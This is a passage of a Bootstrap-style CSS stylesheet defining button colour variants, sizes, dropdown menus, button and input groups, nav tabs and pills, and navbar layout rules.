none;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success .badge {\n color: #5cb85c;\n background-color: #ffffff;\n}\n.btn-info {\n color: #ffffff;\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n color: #ffffff;\n background-color: #31b0d5;\n border-color: #1b6d85;\n}\n.btn-info:hover {\n color: #ffffff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n color: #ffffff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n color: #ffffff;\n background-color: #269abc;\n border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n background-image: none;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info .badge {\n color: #5bc0de;\n background-color: #ffffff;\n}\n.btn-warning {\n color: #ffffff;\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n color: #ffffff;\n background-color: #ec971f;\n border-color: #985f0d;\n}\n.btn-warning:hover {\n color: #ffffff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n color: #ffffff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n color: #ffffff;\n background-color: #d58512;\n border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n background-image: none;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning .badge {\n color: #f0ad4e;\n background-color: #ffffff;\n}\n.btn-danger {\n color: #ffffff;\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n color: #ffffff;\n background-color: #c9302c;\n border-color: #761c19;\n}\n.btn-danger:hover {\n color: #ffffff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n color: #ffffff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n color: #ffffff;\n background-color: #ac2925;\n border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n background-image: none;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger .badge {\n color: #d9534f;\n background-color: #ffffff;\n}\n.btn-link {\n color: #337ab7;\n font-weight: normal;\n border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n background-color: transparent;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n color: #23527c;\n text-decoration: underline;\n background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n color: #777777;\n text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n padding: 1px 5px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-block {\n display: block;\n width: 100%;\n}\n.btn-block + .btn-block {\n margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n.fade {\n opacity: 0;\n -webkit-transition: opacity 0.15s linear;\n -o-transition: opacity 0.15s linear;\n transition: opacity 0.15s linear;\n}\n.fade.in {\n opacity: 1;\n}\n.collapse {\n display: none;\n}\n.collapse.in {\n display: block;\n}\ntr.collapse.in {\n display: table-row;\n}\ntbody.collapse.in {\n display: table-row-group;\n}\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n -webkit-transition-property: height, visibility;\n transition-property: height, visibility;\n -webkit-transition-duration: 0.35s;\n transition-duration: 0.35s;\n -webkit-transition-timing-function: ease;\n transition-timing-function: ease;\n}\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: 4px dashed;\n border-top: 4px solid \\9;\n border-right: 4px solid transparent;\n border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n position: relative;\n}\n.dropdown-toggle:focus {\n outline: 0;\n}\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0;\n list-style: none;\n font-size: 14px;\n text-align: left;\n background-color: #ffffff;\n border: 1px solid #cccccc;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 4px;\n -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n background-clip: padding-box;\n}\n.dropdown-menu.pull-right {\n right: 0;\n left: auto;\n}\n.dropdown-menu .divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: 1.42857143;\n color: #333333;\n white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n text-decoration: none;\n color: #262626;\n background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n color: #ffffff;\n text-decoration: none;\n outline: 0;\n background-color: #337ab7;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n color: #777777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none;\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n cursor: not-allowed;\n}\n.open > .dropdown-menu {\n display: block;\n}\n.open > a {\n outline: 0;\n}\n.dropdown-menu-right {\n left: auto;\n right: 0;\n}\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: 12px;\n line-height: 1.42857143;\n color: #777777;\n white-space: nowrap;\n}\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: 990;\n}\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n border-top: 0;\n border-bottom: 4px dashed;\n border-bottom: 4px solid \\9;\n content: \"\";\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n .navbar-right .dropdown-menu {\n left: auto;\n right: 0;\n }\n .navbar-right .dropdown-menu-left {\n left: 0;\n right: auto;\n }\n}\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n margin-left: -1px;\n}\n.btn-toolbar {\n margin-left: -5px;\n}\n.btn-toolbar .btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n.btn-group.open .dropdown-toggle {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn .caret {\n margin-left: 0;\n}\n.btn-lg .caret {\n border-width: 5px 5px 0;\n border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n border-top-right-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n border-bottom-left-radius: 4px;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n.input-group {\n position: relative;\n display: table;\n border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n}\n.input-group .form-control {\n position: relative;\n z-index: 2;\n float: left;\n width: 100%;\n margin-bottom: 0;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle;\n}\n.input-group-addon {\n padding: 6px 12px;\n font-size: 14px;\n font-weight: normal;\n line-height: 1;\n color: #555555;\n text-align: center;\n background-color: #eeeeee;\n border: 1px solid #cccccc;\n border-radius: 4px;\n}\n.input-group-addon.input-sm {\n padding: 5px 10px;\n font-size: 12px;\n border-radius: 3px;\n}\n.input-group-addon.input-lg {\n padding: 10px 16px;\n font-size: 18px;\n border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n.input-group-btn {\n position: relative;\n font-size: 0;\n white-space: nowrap;\n}\n.input-group-btn > .btn {\n position: relative;\n}\n.input-group-btn > .btn + .btn {\n margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n z-index: 2;\n margin-left: -1px;\n}\n.nav {\n margin-bottom: 0;\n padding-left: 0;\n list-style: none;\n}\n.nav > li {\n position: relative;\n display: block;\n}\n.nav > li > a {\n position: relative;\n display: block;\n padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.nav > li.disabled > a {\n color: #777777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n color: #777777;\n text-decoration: none;\n background-color: transparent;\n cursor: not-allowed;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n background-color: #eeeeee;\n border-color: #337ab7;\n}\n.nav .nav-divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.nav > li > a > img {\n max-width: none;\n}\n.nav-tabs {\n border-bottom: 1px solid #dddddd;\n}\n.nav-tabs > li {\n float: left;\n margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n margin-right: 2px;\n line-height: 1.42857143;\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n border-color: #eeeeee #eeeeee #dddddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n color: #555555;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n border-bottom-color: transparent;\n cursor: default;\n}\n.nav-tabs.nav-justified {\n width: 100%;\n border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n float: none;\n}\n.nav-tabs.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-tabs.nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs.nav-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n border: 1px solid #dddddd;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li > a {\n border-bottom: 1px solid #dddddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs.nav-justified > .active > a,\n .nav-tabs.nav-justified > .active > a:hover,\n .nav-tabs.nav-justified > .active > a:focus {\n border-bottom-color: #ffffff;\n }\n}\n.nav-pills > li {\n float: left;\n}\n.nav-pills > li > a {\n border-radius: 4px;\n}\n.nav-pills > li + li {\n margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n color: #ffffff;\n background-color: #337ab7;\n}\n.nav-stacked > li {\n float: none;\n}\n.nav-stacked > li + li {\n margin-top: 2px;\n margin-left: 0;\n}\n.nav-justified {\n width: 100%;\n}\n.nav-justified > li {\n float: none;\n}\n.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs-justified {\n border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n border: 1px solid #dddddd;\n}\n@media (min-width: 768px) {\n .nav-tabs-justified > li > a {\n border-bottom: 1px solid #dddddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs-justified > .active > a,\n .nav-tabs-justified > .active > a:hover,\n .nav-tabs-justified > .active > a:focus {\n border-bottom-color: #ffffff;\n }\n}\n.tab-content > .tab-pane {\n display: none;\n}\n.tab-content > .active {\n display: block;\n}\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar {\n position: relative;\n min-height: 50px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n .navbar {\n border-radius: 4px;\n }\n}\n@media (min-width: 768px) {\n .navbar-header {\n float: left;\n }\n}\n.navbar-collapse {\n overflow-x: visible;\n padding-right: 15px;\n padding-left: 15px;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);\n -webkit-overflow-scrolling: touch;\n}\n.navbar-collapse.in {\n overflow-y: auto;\n}\n@media (min-width: 768px) {\n .navbar-collapse {\n width: auto;\n border-top: 0;\n box-shadow: none;\n }\n .navbar-collapse.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0;\n overflow: visible !important;\n }\n .navbar-collapse.in {\n overflow-y: visible;\n }\n .navbar-fixed-top .navbar-collapse,\n .navbar-static-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n padding-left: 0;\n padding-right: 0;\n }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n .navbar-fixed-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n max-height: 200px;\n }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n margin-right: -15px;\n margin-left: -15px;\n}\n@media (min-width: 768px) {\n .container > .navbar-header,\n .container-fluid > .navbar-header,\n .container > .navbar-collapse,\n .container-fluid > .navbar-collapse {\n margin-right: 0;\n margin-left: 0;\n }\n}\n.navbar-static-top {\n z-index: 1000;\n border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n .navbar-static-top {\n border-radius: 0;\n }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n@media (min-width: 768px) {\n .navbar-fixed-top,\n .navbar-fixed-bottom {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0;\n border-width: 1px 0 0;\n}\n.navbar-brand {\n float: left;\n padding: 15px 15px;\n font-size: 18px;\n line-height: 20px;\n height: 50px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n text-decoration: none;\n}\n.navbar-brand > img {\n display: block;\n}\n@media (min-width: 768px) {\n .navbar > .container .navbar-brand,\n .navbar > .container-fluid .navbar-brand {\n margin-left: -15px;\n }\n}\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: 15px;\n padding: 9px 10px;\n margin-top: 8px;\n margin-bottom: 8px;\n background-color: transparent;\n background-image: none;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.navbar-toggle:focus {\n outline: 0;\n}\n.navbar-toggle .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n margin-top: 4px;\n}\n@media (min-width: 768px) {\n .navbar-toggle {\n display: none;\n }\n}\n.navbar-nav {\n margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: 20px;\n}\n@media (max-width: 767px) {\n .navbar-nav .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n }\n .navbar-nav .open .dropdown-menu > li > a,\n .navbar-nav .open .dropdown-menu .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n .navbar-nav .open .dropdown-menu > li > a {\n line-height: 20px;\n }\n .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-nav .open .dropdown-menu > li > a:focus {\n background-image: none;\n }\n}\n@media (min-width: 768px) {\n .navbar-nav {\n float: left;\n margin: 0;\n }\n .navbar-nav > li {\n float: left;\n }\n .navbar-nav > li > a {\n padding-top: 15px;\n padding-bottom: 15px;\n }\n}\n.navbar-form {\n margin-left: -15px;\n margin-right: -15px;\n padding: 10px 15px;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n margin-top: 8px;\n margin-bottom: 8px;\n}\n@media (min-width: 768px) {\n .navbar-form .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .navbar-form .form-control-static {\n display: inline-block;\n }\n .navbar-form .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .navbar-form .input-group .input-group-addon,\n .navbar-form .input-group .input-group-btn,\n .navbar-form .input-group .form-control {\n width: auto;\n }\n .navbar-form .input-group > .form-control {\n width: 100%;\n }\n .navbar-form .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio,\n .navbar-form .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio label,\n .navbar-form .checkbox label {\n padding-left: 0;\n }\n .navbar-form .radio input[type=\"radio\"],\n .navbar-form .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .navbar-form .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n@media (max-width: 767px) {\n .navbar-form .form-group {\n margin-bottom: 5px;\n }\n .navbar-form .form-group:last-child {\n margin-bottom: 0;\n }\n}\n@media (min-width: 768px) {\n .navbar-form {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n}\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.navbar-btn {\n margin-top: 8px;\n margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n margin-top: 14px;\n margin-bottom: 14px;\n}\n.navbar-text {\n margin-top: 15px;\n margin-bottom: 